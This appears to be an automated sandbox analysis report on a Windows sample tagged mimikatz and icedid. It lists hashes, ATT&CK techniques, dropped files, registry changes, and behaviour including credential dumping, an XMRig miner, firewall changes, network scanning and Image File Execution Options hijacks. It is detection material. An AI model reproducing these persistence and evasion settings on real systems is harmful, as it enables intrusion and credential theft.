mimikatz | 38180768925641c6999ce489ab1111252cc545953006a5cd63f45cd1ad185667

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
28-11-2024 19:04

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-11-28_8bd0ccaf0813030700c559c5ea339a72_hacktools_icedid_mimikatz.exe
Size

9.6MB
MD5

8bd0ccaf0813030700c559c5ea339a72
SHA1

163c8f93b3d6c050c04673ebb4e9448be3c86b7e
SHA256

38180768925641c6999ce489ab1111252cc545953006a5cd63f45cd1ad185667
SHA512

37936257ed5b0477adca9b9f951d1b393c5a0caed90fd3521a3b3063c6dc7e3679b77e954d5b3632246a09dd983105c3f39cd604d875a596aad1d3268e7f939b
SSDEEP

196608:ylTPemknGzwHdOgEPHd9BYX/nivPlTXTYP:a3jz0E52/iv1

Score

10^/10

mimikatz xmrig credential_access discovery evasion execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz
Mimikatz family
mimikatz

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 1648 created 1160	1648	yittybr.exe	37

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (30499) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

XMRig Miner payload 12 IoCs

miner

resource	yara_rule
behavioral2/memory/1968-181-0x00007FF79E200000-0x00007FF79E320000-memory.dmp	xmrig
behavioral2/memory/1968-185-0x00007FF79E200000-0x00007FF79E320000-memory.dmp	xmrig
behavioral2/memory/1968-202-0x00007FF79E200000-0x00007FF79E320000-memory.dmp	xmrig
behavioral2/memory/1968-215-0x00007FF79E200000-0x00007FF79E320000-memory.dmp	xmrig
behavioral2/memory/1968-220-0x00007FF79E200000-0x00007FF79E320000-memory.dmp	xmrig
behavioral2/memory/1968-233-0x00007FF79E200000-0x00007FF79E320000-memory.dmp	xmrig
behavioral2/memory/1968-246-0x00007FF79E200000-0x00007FF79E320000-memory.dmp	xmrig
behavioral2/memory/1968-494-0x00007FF79E200000-0x00007FF79E320000-memory.dmp	xmrig
behavioral2/memory/1968-495-0x00007FF79E200000-0x00007FF79E320000-memory.dmp	xmrig
behavioral2/memory/1968-600-0x00007FF79E200000-0x00007FF79E320000-memory.dmp	xmrig
behavioral2/memory/1968-852-0x00007FF79E200000-0x00007FF79E320000-memory.dmp	xmrig
behavioral2/memory/1968-853-0x00007FF79E200000-0x00007FF79E320000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 5 IoCs

resource	yara_rule
behavioral2/memory/3264-0-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/3264-4-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/files/0x0007000000023cba-6.dat	mimikatz
behavioral2/memory/4640-8-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/3820-137-0x00007FF6DCD10000-0x00007FF6DCDFE000-memory.dmp	mimikatz

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe
File created	C:\Windows\system32\drivers\etc\hosts	yittybr.exe
File opened for modification	C:\Windows\system32\drivers\etc\hosts	yittybr.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yittybr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	yittybr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yittybr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yittybr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	yittybr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yittybr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	yittybr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	yittybr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	yittybr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	yittybr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yittybr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	yittybr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yittybr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yittybr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yittybr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	yittybr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	yittybr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	yittybr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yittybr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yittybr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yittybr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	yittybr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yittybr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yittybr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yittybr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	yittybr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yittybr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yittybr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yittybr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	yittybr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	yittybr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	yittybr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	yittybr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yittybr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	yittybr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	yittybr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yittybr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yittybr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	yittybr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	yittybr.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2496	netsh.exe
1008	netsh.exe

Executes dropped EXE 28 IoCs

pid	Process
4640	yittybr.exe
1648	yittybr.exe
1848	wpcap.exe
1268	bjfisnrbq.exe
3820	vfshost.exe
4560	btjlhtrlh.exe
4104	xohudmc.exe
4832	ogmqci.exe
1968	ttlnnh.exe
2404	btjlhtrlh.exe
4588	yittybr.exe
3132	btjlhtrlh.exe
4036	btjlhtrlh.exe
3324	btjlhtrlh.exe
3916	btjlhtrlh.exe
4920	btjlhtrlh.exe
2736	btjlhtrlh.exe
2696	btjlhtrlh.exe
2600	btjlhtrlh.exe
4540	btjlhtrlh.exe
4252	btjlhtrlh.exe
1500	btjlhtrlh.exe
3776	btjlhtrlh.exe
512	btjlhtrlh.exe
4588	btjlhtrlh.exe
1760	btjlhtrlh.exe
2996	vmlbqggye.exe
644	yittybr.exe

Loads dropped DLL 12 IoCs

pid	Process
1848	wpcap.exe
1848	wpcap.exe
1848	wpcap.exe
1848	wpcap.exe
1848	wpcap.exe
1848	wpcap.exe
1848	wpcap.exe
1848	wpcap.exe
1848	wpcap.exe
1268	bjfisnrbq.exe
1268	bjfisnrbq.exe
1268	bjfisnrbq.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
66	ifconfig.me
67	ifconfig.me

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

Drops file in System32 directory 18 IoCs

description	ioc	Process
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\ogmqci.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	yittybr.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	yittybr.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	yittybr.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	yittybr.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	yittybr.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	yittybr.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	yittybr.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	yittybr.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\088D7AA6D7DCA369223412E8DEF831B8	yittybr.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\088D7AA6D7DCA369223412E8DEF831B8	yittybr.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\SysWOW64\ogmqci.exe	xohudmc.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	yittybr.exe

UPX packed file 36 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0007000000023d0c-134.dat	upx
behavioral2/memory/3820-135-0x00007FF6DCD10000-0x00007FF6DCDFE000-memory.dmp	upx
behavioral2/memory/3820-137-0x00007FF6DCD10000-0x00007FF6DCDFE000-memory.dmp	upx
behavioral2/files/0x0007000000023d17-140.dat	upx
behavioral2/memory/4560-141-0x00007FF687180000-0x00007FF6871DB000-memory.dmp	upx
behavioral2/memory/4560-159-0x00007FF687180000-0x00007FF6871DB000-memory.dmp	upx
behavioral2/memory/1968-164-0x00007FF79E200000-0x00007FF79E320000-memory.dmp	upx
behavioral2/files/0x0007000000023d14-163.dat	upx
behavioral2/memory/2404-170-0x00007FF687180000-0x00007FF6871DB000-memory.dmp	upx
behavioral2/memory/3132-178-0x00007FF687180000-0x00007FF6871DB000-memory.dmp	upx
behavioral2/memory/1968-181-0x00007FF79E200000-0x00007FF79E320000-memory.dmp	upx
behavioral2/memory/4036-183-0x00007FF687180000-0x00007FF6871DB000-memory.dmp	upx
behavioral2/memory/1968-185-0x00007FF79E200000-0x00007FF79E320000-memory.dmp	upx
behavioral2/memory/3324-188-0x00007FF687180000-0x00007FF6871DB000-memory.dmp	upx
behavioral2/memory/3916-192-0x00007FF687180000-0x00007FF6871DB000-memory.dmp	upx
behavioral2/memory/4920-196-0x00007FF687180000-0x00007FF6871DB000-memory.dmp	upx
behavioral2/memory/2736-200-0x00007FF687180000-0x00007FF6871DB000-memory.dmp	upx
behavioral2/memory/1968-202-0x00007FF79E200000-0x00007FF79E320000-memory.dmp	upx
behavioral2/memory/2696-205-0x00007FF687180000-0x00007FF6871DB000-memory.dmp	upx
behavioral2/memory/2600-209-0x00007FF687180000-0x00007FF6871DB000-memory.dmp	upx
behavioral2/memory/4540-213-0x00007FF687180000-0x00007FF6871DB000-memory.dmp	upx
behavioral2/memory/1968-215-0x00007FF79E200000-0x00007FF79E320000-memory.dmp	upx
behavioral2/memory/4252-218-0x00007FF687180000-0x00007FF6871DB000-memory.dmp	upx
behavioral2/memory/1968-220-0x00007FF79E200000-0x00007FF79E320000-memory.dmp	upx
behavioral2/memory/1500-223-0x00007FF687180000-0x00007FF6871DB000-memory.dmp	upx
behavioral2/memory/3776-227-0x00007FF687180000-0x00007FF6871DB000-memory.dmp	upx
behavioral2/memory/512-230-0x00007FF687180000-0x00007FF6871DB000-memory.dmp	upx
behavioral2/memory/4588-232-0x00007FF687180000-0x00007FF6871DB000-memory.dmp	upx
behavioral2/memory/1968-233-0x00007FF79E200000-0x00007FF79E320000-memory.dmp	upx
behavioral2/memory/1760-235-0x00007FF687180000-0x00007FF6871DB000-memory.dmp	upx
behavioral2/memory/1968-246-0x00007FF79E200000-0x00007FF79E320000-memory.dmp	upx
behavioral2/memory/1968-494-0x00007FF79E200000-0x00007FF79E320000-memory.dmp	upx
behavioral2/memory/1968-495-0x00007FF79E200000-0x00007FF79E320000-memory.dmp	upx
behavioral2/memory/1968-600-0x00007FF79E200000-0x00007FF79E320000-memory.dmp	upx
behavioral2/memory/1968-852-0x00007FF79E200000-0x00007FF79E320000-memory.dmp	upx
behavioral2/memory/1968-853-0x00007FF79E200000-0x00007FF79E320000-memory.dmp	upx

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe

Drops file in Windows directory 60 IoCs

description	ioc	Process
File created	C:\Windows\ppgkyibiq\ihnqsqiep\wpcap.dll	yittybr.exe
File opened for modification	C:\Windows\ppgkyibiq\Corporate\log.txt	cmd.exe
File opened for modification	C:\Windows\tllefmnq\yittybr.exe	2024-11-28_8bd0ccaf0813030700c559c5ea339a72_hacktools_icedid_mimikatz.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\specials\coli-0.dll	yittybr.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\specials\schoedcl.xml	yittybr.exe
File created	C:\Windows\ppgkyibiq\Corporate\vfshost.exe	yittybr.exe
File created	C:\Windows\tllefmnq\yittybr.exe	2024-11-28_8bd0ccaf0813030700c559c5ea339a72_hacktools_icedid_mimikatz.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\specials\posh-0.dll	yittybr.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\specials\vimpcsvc.xml	yittybr.exe
File created	C:\Windows\ppgkyibiq\Corporate\mimilib.dll	yittybr.exe
File created	C:\Windows\ppgkyibiq\ihnqsqiep\Packet.dll	yittybr.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\svschost.xml	yittybr.exe
File opened for modification	C:\Windows\tllefmnq\schoedcl.xml	yittybr.exe
File created	C:\Windows\ime\yittybr.exe	yittybr.exe
File created	C:\Windows\ppgkyibiq\ihnqsqiep\vmlbqggye.exe	yittybr.exe
File opened for modification	C:\Windows\tllefmnq\svschost.xml	yittybr.exe
File opened for modification	C:\Windows\ppgkyibiq\ihnqsqiep\Result.txt	vmlbqggye.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\docmicfg.xml	yittybr.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\specials\spoolsrv.xml	yittybr.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\specials\docmicfg.xml	yittybr.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\spoolsrv.xml	yittybr.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\specials\cnli-1.dll	yittybr.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\specials\crli-0.dll	yittybr.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\specials\trch-1.dll	yittybr.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\specials\xdvl-0.dll	yittybr.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\schoedcl.xml	yittybr.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\Shellcode.ini	yittybr.exe
File created	C:\Windows\ppgkyibiq\Corporate\mimidrv.sys	yittybr.exe
File opened for modification	C:\Windows\ppgkyibiq\ihnqsqiep\Packet.dll	yittybr.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\specials\ucl.dll	yittybr.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\specials\svschost.exe	yittybr.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\specials\docmicfg.exe	yittybr.exe
File opened for modification	C:\Windows\tllefmnq\docmicfg.xml	yittybr.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\AppCapture32.dll	yittybr.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\specials\tucl-1.dll	yittybr.exe
File opened for modification	C:\Windows\tllefmnq\vimpcsvc.xml	yittybr.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\specials\ssleay32.dll	yittybr.exe
File created	C:\Windows\tllefmnq\vimpcsvc.xml	yittybr.exe
File created	C:\Windows\ppgkyibiq\ihnqsqiep\wpcap.exe	yittybr.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\specials\spoolsrv.exe	yittybr.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\specials\svschost.xml	yittybr.exe
File opened for modification	C:\Windows\tllefmnq\spoolsrv.xml	yittybr.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\AppCapture64.dll	yittybr.exe
File created	C:\Windows\ppgkyibiq\ihnqsqiep\ip.txt	yittybr.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\specials\exma-1.dll	yittybr.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\specials\trfo-2.dll	yittybr.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\specials\schoedcl.exe	yittybr.exe
File created	C:\Windows\tllefmnq\docmicfg.xml	yittybr.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\specials\libxml2.dll	yittybr.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\specials\zlib1.dll	yittybr.exe
File created	C:\Windows\tllefmnq\schoedcl.xml	yittybr.exe
File created	C:\Windows\ppgkyibiq\upbdrjv\swrpwe.exe	yittybr.exe
File created	C:\Windows\ppgkyibiq\ihnqsqiep\scan.bat	yittybr.exe
File created	C:\Windows\ppgkyibiq\ihnqsqiep\bjfisnrbq.exe	yittybr.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\specials\vimpcsvc.exe	yittybr.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\specials\libeay32.dll	yittybr.exe
File created	C:\Windows\tllefmnq\svschost.xml	yittybr.exe
File created	C:\Windows\tllefmnq\spoolsrv.xml	yittybr.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\vimpcsvc.xml	yittybr.exe
File created	C:\Windows\ppgkyibiq\UnattendGC\specials\tibe-2.dll	yittybr.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4776	sc.exe
3700	sc.exe
3496	sc.exe
3488	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
